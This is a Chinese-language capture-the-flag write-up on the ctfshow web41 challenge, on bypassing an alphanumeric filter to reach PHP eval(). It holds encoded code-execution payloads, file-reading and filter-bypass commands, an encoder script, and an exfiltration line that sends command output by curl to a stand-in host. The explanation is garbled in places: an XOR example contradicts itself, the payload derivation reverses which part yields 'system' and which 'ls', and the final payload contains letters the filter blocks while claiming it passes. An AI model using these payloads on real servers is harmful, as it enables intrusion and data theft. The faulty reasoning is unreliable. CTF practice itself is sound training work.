1. 项目概述:从一道CTF题目看PHP代码执行的艺术
最近在带新人入门CTF(Capture The Flag)的Web安全方向,发现很多朋友对PHP代码执行这类基础但核心的漏洞理解不够透彻,往往停留在“知道有eval()很危险”的层面。正好,ctfshow平台的“web入门”系列第41题(web41)是一个非常经典的案例,它没有直接给出eval,却巧妙地考察了我们对PHP语言特性、代码执行原理以及绕过技巧的深度理解。这道题就像一把钥匙,能帮你打开PHP代码审计与漏洞利用的新世界大门。无论你是刚接触安全的新手,还是想巩固基础的爱好者,通过拆解这道题,你不仅能解出flag,更能掌握一套在真实渗透测试或代码审计中寻找和利用代码执行点的思维方法。接下来,我就以从业者的视角,带你一步步“盘”清楚这道题。
2. 核心漏洞原理与题目环境解析
2.1 PHP代码执行漏洞的本质
在深入题目之前,我们必须先统一认知:什么是PHP代码执行漏洞?简单说,就是攻击者能够将自身可控的输入,注入到服务器端的PHP代码上下文中,并让服务器执行这些输入作为代码。最常见的危险函数是eval()和assert(),它们会把字符串参数当作PHP代码来执行。但危险远不止于此,任何能动态执行代码的机制都可能成为突破口,例如preg_replace()函数在特定模式下的/e修饰符(PHP5.5已废弃,但老系统仍有)、create_function()函数(内部使用eval)、以及一些回调函数如array_map()、usort()配合call_user_func()等。
这道题的精妙之处在于,它通常不会直白地给你一个eval($_POST[‘cmd’])。出题人会设置各种过滤、限制,你需要像解谜一样,利用有限的“零件”去拼装出能够执行任意代码的“机器”。这考察的正是你对PHP语法、函数特性、甚至是运算符优先级和类型转换的熟悉程度。
2.2 web41题目场景与初步探测
根据ctfshow平台一贯的风格以及“web入门”系列的定位,web41题很可能提供了一个包含漏洞的PHP源码页面。我们需要通过构造特定的输入(Payload),让服务器执行我们想要的命令,从而读取或输出隐藏在服务器上的flag。
典型的题目界面可能是一个简单的输入框,或者通过GET/POST参数传递数据。我们的第一步永远是查看源代码。按下F12,或者右键“查看网页源代码”,寻找可能的后端代码逻辑。有时代码会直接注释在HTML里,有时则需要通过参数触发错误来间接获取信息。
假设我们通过某种方式(比如参数?source=1)看到了后端PHP代码的核心片段,它可能长这样:
<?php error_reporting(0); $code = $_GET['code']; if(strlen($code) <= 105){ if(preg_match("/[A-Za-z0-9_$]+/",$code)){ die("Hacker!"); } @eval($code); }else{ die("Too Long!"); } ?>这段代码就是我们的“战场”。它做了以下几件事:
error_reporting(0);关闭所有错误报告,防止我们通过错误信息获取路径等敏感内容。$code = $_GET['code'];从URL的code参数获取用户输入。- 第一个判断:输入字符串长度不能超过105个字符。这是一个限制条件。
- 第二个判断:使用
preg_match进行正则匹配。如果$code中包含任何大小写字母、数字、下划线或美元符号,就直接输出“Hacker!”并终止脚本。这是核心过滤。 - 如果通过了以上两个检查,则使用
@eval($code);执行我们的输入。@符号用于抑制可能产生的错误信息。
现在,目标非常明确:我们需要构造一个长度不超过105字符的字符串,作为code参数的值。这个字符串不能包含任何字母、数字、下划线(_)和美元符号($),但它最终又必须能让我们执行任意PHP代码(例如执行system(‘ls’)或cat /flag)。这听起来像是一个不可能完成的任务,但正是PHP语言的灵活性让它成为了可能。
注意:在实际解题中,代码的过滤条件可能略有不同,例如可能过滤了更多字符(如点
.、括号()),或者长度限制更严格。但解题思路是相通的。我们以此为例进行原理性拆解。
3. 无字符数字构造Payload的核心思路
3.1 利用PHP的字符串连接与异或运算
既然不能直接出现字母和数字,我们就需要“创造”出它们。在PHP中,字符串可以通过多种方式动态生成。
方法一:利用非字母数字字符的异或(XOR)运算在PHP中,两个字符串进行异或运算,实际上是对它们每个字符的ASCII码进行按位异或,结果生成一个新的字符串。例如:
echo "A" ^ "}"; // 输出字符 x因为A的ASCII是65,}的ASCII是125,65 ^ 125 = 60,60对应的ASCII字符是<。
关键在于,如果我们精心选择两个完全不包含被过滤字符的字符串进行异或,其结果可以是我们想要的任何字母、数字或符号。网络上已经有安全研究员整理出了利用只有特殊字符(如^、~、|、&等)来生成所有字母数字的映射表。我们可以通过编写一个简单的脚本,暴力找出能生成我们所需字符的字符对。
例如,要生成字符串phpinfo,我们可以找到一系列字符对,使得每一对异或的结果分别是p、h、p、i、n、f、o。然后将这些字符对连接起来,中间用.(连接符)或|(异或运算符)连接,最后赋值给一个变量或直接执行。
方法二:利用取反(~)运算PHP的取反运算符~会将操作数的每一位取反(0变1,1变0)。对于字符串,也是按字符取反。一个有趣的性质是:对一个字符取反两次,会得到它本身。更重要的是,一个字符的取反结果,绝对不可能是字母或数字(因为字母数字的ASCII码范围是48-57、65-90、97-122,取反后对应的值都落在这个范围之外)。这意味着我们可以用取反来绕过对字母数字的过滤。
例如,~”%8C%86%8C%8B%9A%92″这个字符串,看起来是一堆URL编码后的特殊字符。但如果我们直接echo ~”%8C%86%8C%8B%9A%92″;,PHP会先对字符串”%8C%86%8C%8B%9A%92″进行取反,得到的结果正是”system”。这是因为%8C等是”system”每个字符的ASCII码取反后再URL编码的结果。我们可以通过脚本计算任意命令的取反形式。
3.2 动态函数调用与命令执行
生成了命令字符串(如”system”)和参数字符串(如”ls”)后,我们还需要调用它。在PHP中,有多种方式可以动态调用函数。
- 可变函数:如果
$a = “system”;,那么$a(“ls”);就等价于system(“ls”);。这要求我们能把函数名赋值给一个变量。但在我们的过滤条件下,$符号也被禁用了,所以无法直接使用$a这种变量形式。 call_user_func()/array_map()等回调函数:这些函数接受字符串形式的函数名作为参数。例如call_user_func(“system”, “ls”);。但问题又回到了原点:如何在不使用字母数字的情况下,构造出字符串”call_user_func”?这比直接构造”system”更长更复杂。- 利用
$_GET或$_POST数组本身:这是本题的关键突破点之一。$_GET本身是一个超全局变量,它的键名和键值我们可以通过URL参数控制。虽然正则过滤了我们的输入$code,但它并没有过滤$_GET数组其他元素的内容。我们可以尝试这样的Payload:
但这里有个致命问题:?code=$_GET[a]($_GET[b])&a=system&b=ls$code的内容是$_GET[a]($_GET[b]),这里面包含了被过滤的字母、数字和下划线!所以这个Payload会被拦截。
那么,如何构造一个不包含被禁字符,又能引用到我们通过其他参数传入的值的表达式呢?这就需要用到PHP中一些非常“骚”的操作了。
4. 实战构造:从理论到可用的Payload
4.1 利用PHP的字符串解析特性与超全局数组
PHP在解析字符串时,有一些特性可以被我们利用。例如,在双引号字符串中,可以直接解析数组。但更关键的是,我们可以通过${}结构来执行复杂的表达式。
一个经典的技巧是:$_GET[1]可以用${_GET}[1]来表示。看起来差不多?但请注意,在${_GET}中,_GET被当作了一个常量!PHP会先查找名为_GET的常量,如果没找到,会将其转化为字符串”_GET”,然后将其作为键名去全局变量数组中查找。由于_GET本身就是一个超全局数组的名称,所以${_GET}最终就指向了$_GET这个数组。
现在,我们有了一个不包含$符号的、引用$_GET数组的方法。接下来,我们需要访问这个数组的某个元素。我们可以使用{}来包裹下标。例如,${_GET}{1}就相当于$_GET[1]。
但是,我们的过滤正则/[A-Za-z0-9_$]+/匹配了_(下划线)。所以_GET中的下划线也会被匹配到,导致Payload被拦截。我们必须找到一种方法,在不直接书写_GET这个字符串的情况下,引用到$_GET数组。
4.2 终极武器:利用未定义常量与字符串拼接
在PHP中,如果你使用了一个未定义的常量,PHP会发出一个警告(Warning),并将这个常量的名称当作一个字符串值来处理。例如:
echo abc; // 如果abc未定义,会输出 Warning: Use of undefined constant abc - assumed 'abc',并输出字符串 'abc'这个特性在开启错误抑制(@)或error_reporting(0)时,警告信息不会显示,但字符串转换的行为依然存在。
那么,我们可以构造_GET作为一个未定义常量吗?不行,因为_GET包含了被过滤的下划线。但是,我们可以用其他方式生成这个字符串。还记得我们之前提到的异或和取反吗?我们可以用一堆特殊字符,通过异或运算,生成字符串_GET。
假设我们通过计算,得到“_GET” = “{“ ^ “<”;(这只是一个示意,实际需要精确计算)。那么,我们可以这样写:
${“{“ ^ “<“}[1](${“{“ ^ “<“}[2])这段代码的意思是:
“{“ ^ “<“的结果是字符串”_GET”。${“_GET”}[1]就等价于$_GET[1],假设我们通过URL传入?1=system。- 同理,
${“_GET”}[2]等价于$_GET[2],假设我们传入?2=ls。 - 整个表达式就变成了
system(“ls”)。
最关键的是,整个Payload“${“{“ ^ “<“}[1](${“{“ ^ “<“}[2])”中,只包含了花括号、尖括号、方括号、括号、引号和异或运算符^,完全没有任何字母、数字、下划线和美元符号,完美绕过了正则过滤!
4.3 长度优化与最终Payload构造
现在我们已经有了核心思路,但还需要考虑长度限制(105字符)。上面的例子中,_GET重复出现了两次,占用了不少字符。我们可以通过赋值来缩短长度。但在无法使用$定义变量的情况下,我们可以利用参数本身。
一个更精简的写法是:
code=${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″)&%ff=ls让我们来拆解这个“魔法”般的Payload:
~”%A0%B8%BA%AB”:这是字符串_GET的取反形式。%A0等是_、G、E、T每个字符ASCII码取反后URL编码的结果。~运算符对其进行取反,得到原始字符串”_GET”。${~”%A0%B8%BA%AB”}:这就得到了$_GET数组。[%ff]:这是访问数组的键。%ff是一个单字符(ASCII 255),它不是字母数字,所以能通过过滤。它对应的就是$_GET[‘%ff’]。- 整个
${~”%A0%B8%BA%AB”}[%ff]就等价于$_GET[‘%ff’]。 - 在URL中,我们传入了参数
&%ff=ls。所以$_GET[‘%ff’]的值就是字符串”ls”。 - 最后,这个表达式被
eval执行时,变成了”ls”。这似乎不对,我们不是要执行system(“ls”)吗?
这里有一个至关重要的技巧:当eval执行一个单独的字符串时,比如eval(“ls”);,它仅仅是一个字符串,不会被执行。但是,在我们的Payload后面,还有一部分:(~”%8C%86%8C%8B%9A%92″)。注意,这里没有逗号分隔。实际上,整个code参数的值是:
${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″)它的结构是:数组[键](参数)。在PHP中,如果数组[键]的值是一个字符串,比如”system”,那么后面加上括号和参数,就构成了函数调用:”system”(参数)。这就是PHP的可变函数特性。
那么,”system”字符串从哪里来?就来自(~”%8C%86%8C%8B%9A%92″)。这是字符串”system”的取反形式。所以,整个Payload被eval执行时,实际是:
eval(“${~’%A0%B8%BA%AB’}[%ff](~’%8C%86%8C%8B%9A%92′)”); // 执行过程: // 1. 计算 ~’%A0%B8%BA%AB’ => ‘_GET’ // 2. 计算 ${‘_GET’}[%ff] => $_GET[‘%ff’] => ‘ls’ (从URL参数获得) // 3. 计算 ~’%8C%86%8C%8B%9A%92’ => ‘system’ // 4. 最终变成:’ls'(‘system’) // 5. 这看起来不对,应该是 ‘system'(‘ls’)。这里我之前的解释有误,需要修正。抱歉,上面的推导出现了顺序错误。让我们重新严谨地分析这个Payload:${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″)
~”%A0%B8%BA%AB”得到_GET。${_GET}[%ff]得到$_GET[‘%ff’]。假设我们在URL中传入?%ff=system,那么这里就是字符串”system”。- 于是前半部分变成了
”system”。 (~”%8C%86%8C%8B%9A%92″)得到字符串”ls”。- 整个表达式是
”system”(“ls”),这正是一个以字符串”system”作为函数名,”ls”作为参数的函数调用语句。
所以,完整的URL请求应该是:
http://靶机地址/?code=${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″)&%ff=system这样,$_GET[‘%ff’]的值是”system”,(~”%8C%86%8C%8B%9A%92″)的值是”ls”,最终执行了system(“ls”)。
实操心得:这种Payload的构造需要对PHP的求值顺序有清晰的理解。一个简单的调试方法是,将Payload的关键部分在本地PHP环境中用
echo替换eval进行测试,观察每一步的中间结果。例如:echo ~”%A0%B8%BA%AB”;和echo ~”%8C%86%8C%8B%9A%92″;。
5. 命令执行后的利用与Flag获取
5.1 探测目录与文件
成功执行system(“ls”)或system(“dir”)(Windows系统)后,我们会在网页上看到当前目录的文件列表。通常,CTF的flag文件可能命名为flag、flag.txt、flag.php、index.php(源码里包含flag),或者位于根目录/、上级目录../。
我们需要继续执行命令来读取文件内容。常用的命令有:
cat flag:直接输出flag文件内容。more flag、less flag、head flag、tail flag:分页或查看文件头尾。tac flag:反向输出,有时用于绕过一些过滤。nl flag:带行号输出。strings flag:打印文件中可打印的字符串,适用于二进制文件。grep -r “ctfshow{” /:在整个根目录递归搜索包含ctfshow{字符串的文件(假设flag格式如此)。
由于我们的Payload长度有限,需要构造最短的命令。cat命令通常是最短的。我们需要用取反法构造字符串”cat”,或者用异或法。
5.2 构造读取Flag的最终Payload
假设我们发现当前目录下有一个文件叫flag.php。我们需要执行cat flag.php。我们可以设计两个GET参数,一个传递函数名(system),一个传递命令(cat flag.php)。
但命令cat flag.php包含空格和点,我们需要对其进行取反或异或编码。为了节省code参数的长度,我们可以把较长的命令字符串放到另一个GET参数里。
最终Payload构造如下:
http://靶机地址/?code=${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″ . ${~”%A0%B8%BA%AB”}[%aa])&%ff=system&%aa=cat flag.php拆解:
code参数:${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″ . ${~”%A0%B8%BA%AB”}[%aa])${~”%A0%B8%BA%AB”}即$_GET。[%ff]访问键%ff,其值为system。(~”%8C%86%8C%8B%9A%92″)是ls的取反。但这里我们不是要ls。.是字符串连接符。${~”%A0%B8%BA%AB”}[%aa]访问键%aa,其值为cat flag.php。- 所以,括号内的完整内容是:
~”%8C%86%8C%8B%9A%92″ . “cat flag.php”。这不对,因为取反部分和字符串直接连接没有意义。
这里出现了逻辑错误。我们的目的是让system执行cat flag.php,所以应该把cat flag.php这个字符串作为system函数的参数。但cat flag.php本身也需要用无字符数字的方式构造,这会使code参数变得非常长,可能超过105字符限制。
更优的方案是:将cat flag.php作为第二个参数传入,并在code中拼接。但system函数只接受一个字符串参数。我们可以用system(“cat flag.php”)。所以我们需要构造的字符串是”cat flag.php”。
我们可以用取反法单独构造cat和flag.php,然后拼接。但这样很长。一个更巧妙的思路是:直接让system执行来自另一个参数的命令字符串。也就是说,我们只构造system函数名,而函数参数直接引用另一个GET参数,这个参数的值是已经编码好的命令字符串。
但这里有个问题:system函数需要的是一个字符串参数。如果我们直接写system($_GET[‘cmd’]),那么$_GET[‘cmd’]的值会被当作字符串直接传递给system。如果cmd=cat flag.php,那么system就会执行cat flag.php。完美!
所以,我们重新设计Payload:
- 目标:执行
system($_GET['cmd'])。 - 需要构造的
code:${~”%A0%B8%BA%AB”}[%ff](${~”%A0%B8%BA%AB”}[%aa]) - 传入参数:
%ff=system,%aa=cmd。 - 但是,
${~”%A0%B8%BA%AB”}[%aa]得到的是$_GET[‘cmd’],这本身是一个变量,而不是变量里的值。我们需要再套一层。
在PHP中,$_GET[‘cmd’]就是我们要的字符串值。所以${~”%A0%B8%BA%AB”}[%aa]的结果就是字符串”cat flag.php”(假设我们传入了&cmd=cat flag.php)。所以这个结构是可行的。
那么,最终的、最清晰的Payload应该是:
http://靶机地址/?code=${~”%A0%B8%BA%AB”}[%ff](${~”%A0%B8%BA%AB”}[%aa])&%ff=system&%aa=cmd&cmd=cat flag.php或者,为了更直观,可以把%aa改成cmd,但cmd包含字母,可能被过滤?不对,过滤只针对code参数的内容,对URL中其他参数(ff,aa,cmd)的键和值是没有过滤的。所以我们可以直接用:
http://靶机地址/?code=${~”%A0%B8%BA%AB”}[%ff](${~”%A0%B8%BA%AB”}[cmd])&%ff=system&cmd=cat flag.php计算一下code的长度:${~”%A0%B8%BA%AB”}[%ff](${~”%A0%B8%BA%AB”}[cmd]),这个字符串里没有字母数字下划线美元符号,符合要求。长度也远小于105。
发送这个请求,服务器端eval执行的代码就是:
$_GET['system']($_GET['cmd']); // 即: system("cat flag.php");这样,就能成功在页面上看到flag.php的内容,其中包含flag。
5.3 其他可能的Flag位置与读取方式
如果cat flag.php没有输出flag,可能flag在文件的其他位置,或者需要其他命令。
- 查看文件所有内容:
cat *或more *。 - 查找包含特定字符串的文件:
grep -r “ctfshow{“ .在当前目录搜索。 - 查看源代码:如果flag在PHP变量里,直接
cat可能看不到(因为PHP执行了)。可以用php -r “include(‘flag.php’); echo $flag;”,但这需要能执行多段代码。更简单的方法是,用system(“cat flag.php”)时,查看网页源代码(Ctrl+U),因为PHP代码(<?php ... ?>)不会被浏览器解析,会在源码中显示。 - 绕过空格过滤:如果题目还过滤了空格,可以用
${IFS}、$IFS$9、%09(制表符)、<、>等代替。 - 绕过关键字过滤:如果
system、cat等关键字被过滤,可以用拼接、反转、编码、通配符(如/???/c?t代替/bin/cat)等方式绕过。
6. 常见问题排查与高级技巧延伸
6.1 Payload发送后无回显怎么办?
- 检查命令是否执行成功:首先执行一个肯定有回显的命令,比如
system(“pwd”)或system(“echo 123”),确认代码执行漏洞是否存在且我们的Payload语法正确。 - 尝试输出重定向:可能命令执行了,但输出被重定向到了别处。可以尝试将输出写入一个Web可访问的文件:
system(“cat flag.php > /var/www/html/result.txt”),然后访问/result.txt查看。 - 使用DNSLOG或HTTP外带:如果完全没有回显(盲注),可以将命令执行的结果通过
curl或ping发送到我们可控的服务器。例如:system(“curl http://your-server.com/cat flag.php”)。这需要目标服务器能出网。 - 使用
passthru或shell_exec代替system:有时system函数可能被禁用,可以尝试其他命令执行函数,如passthru、shell_exec、exec、popen、proc_open等。用同样的方法构造这些函数名的字符串。
6.2 遇到更严格的过滤如何应对?
web41的过滤(字母数字下划线美元符)已经比较强。如果遇到更变态的过滤,比如还过滤了反引号、引号、点、括号等,就需要更高级的技巧:
- 利用
.(点空格点):在PHP中,.是字符串连接符。如果过滤了点,可以用?>和<?php标签来拼接字符串,但这需要能执行多段代码。 - 利用
PHP标签:<?= ‘abc’?>是短标签,等价于<?php echo ‘abc’;?>。可以用于输出信息。 - 利用
include包含:如果允许包含文件,可以将Payload放在其他参数中,然后用include($_GET[‘a’])包含,但需要能上传文件或知道绝对路径。 - 利用
session_id:如果session可控,可以将Payload存入session,然后通过session_id()包含。 - 利用
.htaccess:如果存在文件上传且能覆盖.htaccess,可以设置php_value来执行代码。
6.3 自动化工具与脚本
对于这类题目,手工构造取反、异或Payload非常繁琐。通常我们会编写Python脚本来自动生成。脚本的核心是计算目标字符串的取反或异或表示。这里提供一个生成取反Payload的简单脚本思路:
import urllib.parse def generate_negate_payload(command): """ 生成命令的取反形式Payload组件。 例如:generate_negate_payload('system') -> '%8C%86%8C%8B%9A%92' """ result = '' for char in command: # 对每个字符的ASCII码取反,然后URL编码 negated_char = chr(~ord(char) & 0xFF) # 确保在0-255范围内 result += urllib.parse.quote(negated_char) return result # 生成 _GET 和 system 的取反形式 print(“_GET 取反:”, generate_negate_payload(‘_GET’)) # 输出: %A0%B8%BA%AB print(“system 取反:”, generate_negate_payload(‘system’)) # 输出: %8C%86%8C%8B%9A%92 print(“cat 取反:”, generate_negate_payload(‘cat’)) print(“ls 取反:”, generate_negate_payload(‘ls’))有了这些组件,就可以快速拼装出最终的Payload。
6.4 实战中的思维总结
面对这类代码执行题目,我的经验是形成一个固定的排查与利用流程:
- 信息收集:查看源码、尝试报错、扫描目录,尽可能了解后端代码逻辑和过滤规则。
- 定位执行点:找到
eval、assert、preg_replace的/e模式等函数,分析其参数是否可控。 - 分析过滤:仔细阅读正则过滤或字符串替换逻辑,列出所有被禁止的字符。
- 寻找可用字符:列出所有未被过滤的字符,特别是运算符(
.^~|&+-*/%=?:@<>[](){}”’#\)和特殊符号。 - 构思生成方案:利用可用字符,通过异或、取反、自增、字符串解析等方式生成被过滤的字符和字符串。
- 构造最小Payload:优先使用取反(通常更短),考虑长度限制,将可变部分(如命令)移到其他GET参数中,缩短核心Payload。
- 测试与迭代:先在本地或简单测试环境验证Payload语法,再应用到题目中。根据回显调整命令。
- 获取Flag:执行查找、读取文件命令,注意查看网页源代码,可能Flag就在注释或PHP变量中。
这道web41题,就像一把精心设计的锁,而我们对PHP语言特性的深入理解,就是打开它的万能钥匙。它考验的不是简单的漏洞利用,而是对编程语言本身“魔法”的掌握程度。这种能力,在真实的代码审计和高级渗透测试中,至关重要。当你能够不依赖字母数字写出任意代码时,你对代码执行漏洞的理解才算真正入门了。